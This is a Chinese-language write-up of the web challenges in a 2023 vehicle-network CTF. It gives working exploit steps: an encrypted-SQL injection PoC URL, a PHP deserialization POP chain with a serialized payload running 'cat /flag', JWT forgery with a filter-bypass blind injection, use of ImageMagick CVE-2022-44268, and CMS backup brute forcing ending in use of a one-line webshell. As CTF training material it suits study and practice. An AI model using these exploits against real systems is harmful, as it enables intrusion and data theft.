[2023饶派杯XCTF车联网挑战赛] WP

2023饶派杯XCTF车联网挑战赛 Web WriteUp

饶派杯 web writeup

Easy_sql

crossall_act.php 的 execsql sql 注入老洞,提示说这个版本加密算法改了,但是service.php是混淆过的,无法直接读到里面的函数内容,但是自己调试可以发现他解密是在execsql函数里执行的

image-20230601201441590

但是无所谓,我们可以直接调用加密算法,直接加密我们需要执行的sql语句

1
$data = service::lockString("select group_concat(table_name) from INFORMATION_SCHEMA.TABLES;");

注出表名

image-20230601201509405

查flag

image-20230601201522582

最后poc

1
http://172.35.10.30/index.php?case=crossall&act=execsql&sql=8PYGg7D9glxF-MJ6j9%3DxP4GqDL5-t5jRR5Vy9N5-T7ThN2iJd2ab18391e6e61e99aff8e10d05e4ad02

fileread

php<=7.4.21 development server源码泄露,似乎是做了一些配置,测试的时候发现不管访问 xx.php 或者 /xx 都是返回 200,但是 xx.zip 就是返回 404,然后用默认的 payload 也读不出来 index.php,最后发现构造 xx.zip 这种不存在的 path 可以读到源码

image-20230601201534602

反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
ini_set("error_reporting","E_ALL &amp; ~E_NOTICE");
class A
{
        public $func;
        public $end2;
        public function __wakeup()
        {
                $this->end2="die";
        }
        public function __call($method, $args)
        {
                echo "begin";
        }
        public function __destruct()
        {
                $this->func="system";
                $waf=$this->end2;
                $func=$this->func;
                $waf();
                $func($_GET["param"]);
        }
}
class B
{
        public $poc;
        public function __destruct()
        {
                $this->poc->test();
        }
}
$o=unserialize($_GET["poc"]);
?>


pop链构造

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

ini_set("error_reporting", "E_ALL &amp; ~E_NOTICE");

class A
{
    public $func;
    public $end2;

    public function __construct(){
        $this->func = "system";
        $this->end2 = &$this->func;
    }
    public function __wakeup()
    {
        $this->end2 = "die";
    }

    public function __call($method, $args)
    {
        echo "begin";
    }

    public function __destruct()
    {
        $this->func = "system";
        $waf = $this->end2;
        $func = $this->func;
        $waf();
        $func($_GET["param"]);
    }
}

class B
{
    public $poc;

    public function __construct(){
        $this->poc = new A();
    }
    public function __destruct()
    {
        $this->poc->test();
    }
}

$a = new B;
echo serialize($a);

1
http://172.35.10.169/?poc=O:1:%22B%22:1:{s:3:%22poc%22;O:1:%22A%22:2:{s:4:%22func%22;s:6:%22system%22;s:4:%22end2%22;R:3;}}&param=cat%20/flag

对脆弱的车辆性能管理系统

爆破出来 jwt 密钥是 ACE,id 参数是有盲注的,发现 select 被过滤了,双写绕,用脚本跑一下可以得到设计师的名字

image-20230601201546439

根据题目的信息可以得到主题,最后还有个 iat 时间参数需要构造,也是在题目给的信息里面,说工作时间是 996 ,4月3号生产出汽车,所以尝试了 4.1 和 4.2 两天的时间戳,最后改成 4.2 号的时间重新伪造 jwt 发包拿到车辆的敏感信息,也就是 flag

image-20230601201557032

对访客开放的车载系统

hint 给了访客弱口令,Guest / Guest 进后台,只有一个头像上传点,又给了个 hint 是 imagemagic,大概率就是 CVE-2022-44268 了,直接上传 payload 读 flag 即可

image-20230601201607159

把图片下载回来解码得到 flag

image-20230601201618357

easy cms

信呼的未授权备份,不过目录最后四位是随机数,所以写个脚本并发一下,多生成点备份,提高爆破概率,最后得到备份文件目录

image-20230601201628316

然后继续爆破备份的 sql 了

image-20230601201641464

里面拿到用户名 thisisadminoooajinjquiii 和密码 hash,查出来密码 asdasdqwezxc,后台有一个文件包含的老洞,不过只能包含 .php .shtml

image-20230601201650799

后面挖了很久的文件上传点也没有找到哪里能传 .php 的或者 .shtml 的,最后通过信呼后台的一个老洞 getdatssss 目录遍历发现原来在根目录给了一个 php 文件,flag 也在根目录

image-20230601201701971

包含一下这个文件,是一个 phpinfo,然后文件开头还有一个 1

image-20230601201713777

猜测是一个密码是 1 的一句话木马,测试发现是通过 get 传参,最后读 flag 即可

image-20230601201724364

Licensed under CC BY-NC-SA 4.0